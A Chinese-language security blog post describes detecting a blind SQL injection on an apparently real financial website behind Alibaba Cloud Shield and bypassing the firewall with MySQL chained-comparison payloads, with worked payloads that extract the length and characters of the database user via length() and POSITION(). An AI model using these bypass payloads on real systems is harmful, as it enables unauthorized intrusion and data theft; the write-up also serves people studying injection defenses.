本篇文章仅用于技术交流,请勿利用文章内的相关技术从事非法测试,由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责。
一、前言
二、发现过程

1个单引号报错,302跳转
2个单引号正常,200,有数据
3个单引号报错,302跳转
4个单引号正常,200,有数据
此时基本可以确定,此处存在sql注入漏洞,但是还无法判断是否能注入出数据。
进行简单的sql注入的payload尝试,发现被拦截:

三、闭合构造和数据库类型判断
'=1='1 链式比较,闭合成功


关于Mysql的链式比较的详细内容,后续笔者会再出一篇文章来详细论述。
'=0='1

-
mysql的数据库 -
存在阿里云盾 -
‘=1=’1 服务器会返回全部数据* -
‘=0=‘1 服务器会无数据返回
当两个等号之间的值为1时,就会返回正常查询的数据当两个等号之间为0时,就会无数据返回

四、payload的简单介绍
在Mysql的数值比较中,1会被视为TRUE,0则会被视为false,其余如:-5、88、2.1等不变。
- 若两个操作数都是字符串 则按照字符串进行比较。
- 若两个操作数都是整数 则按照整数进行比较。
- 若一个操作数为字符串,另一个操作数为数字,则MySQL可以自动将字符串转换为数字。

SELECT * FROM users WHERE id=''=1='1'
id=''=1='1'运算顺序为:((id='')=1)='1'此时''被转换为0,就变成了 ((10=0)=1)='1'((10=0)=1)='1'——>(0=1)='1'——> 0='1'——>0——>false
这里就说明了凡是id不等于0的,都不会被查询出来。
五、获得当前用户名的长度
-
我们的目标就是在两个等号之间插入sql语句,令它的值为0或者1。
'=10-(length(current_user))='1
发现有返回数据,可以证明该数据库用户名长度为9位。因为此时中间值计算为1,满足前面的出数据条件。
![图片[1]-某金融官网SQL注入bypass阿里云盾-华盟网](https://www.77169.net/wp-content/uploads/2026/03/640-74c4377e.png)
——————————————————————————————
'=11-(length(current_user))='1
显示无数据,返回。因为中间的值并不为1,所以无数据。

六、获得完整的当前用户名
'=POSITION('x'+IN+current_user)='1 payload
函数介绍:position(substring in string)substring:要查找的子字符串string:被查找的字符串
SELECT POSITION('a'IN'appale');结果为:1SELECT POSITION('ban' IN 'Ilikeban');结果为:6

'=POSITION(binary+'x'+IN+current_user)='1
此时我们通过遍历 ‘x’ 这个字符,即可确定user的第一位字符是e。

当我们确定了第一位字符为“e”之后,就要准备第二个字符,修改payload
'=position(BINARY+'eξAξ'+in+current_user)='1

七、结语

安全知识分享,欢迎师傅们关注!
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END














暂无评论内容